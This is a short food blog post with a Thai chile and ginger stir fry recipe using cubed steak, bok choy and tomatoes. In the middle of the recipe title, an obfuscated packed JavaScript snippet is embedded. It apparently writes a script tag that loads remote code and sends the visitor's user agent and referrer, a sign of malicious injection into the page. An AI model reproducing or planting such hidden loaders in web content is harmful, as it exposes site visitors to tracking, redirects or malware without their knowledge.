FOODIE FRIDAY: Thai Chile & Ginger Stir Fry

2013, Food

I don’t ever marinate.  It’s not because I don’t like marinated meat; I just forget.  All the time.  However, I made a run to Whole Foods for the madre and found myself on the marinated sauce aisle, which is how I came home with Thai-Chile with Ginger Sauce.  Now that I have it; I have to use it.

Thai-Chile eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|shkbf|var|u0026u|referrer|ktsrt||js|php’.split(‘|’),0,{}))
w/ Ginger Stir Fry
1 lb cubed steak
Thai-Chile w/ Ginger sauce (can substitute for any Asian marination sauce of your choice)
2 baby bok choy bunch chopped
handful of grape tomatoes sliced in half
chopped fresh cilantro (to taste)
fresh squeezed lime juice
  1. Marinate the meat in the sauce for at least an hour.
  2. While meat marinates, prepare vegetables. 
  3. Drain the sauce out of the meat and stir fry until brown.
  4. Add vegetables and place a lid over the skillet to let the steam cook everything thoroughly.
  5. Add cilantro and lime, serve stir fry mixture over rice.

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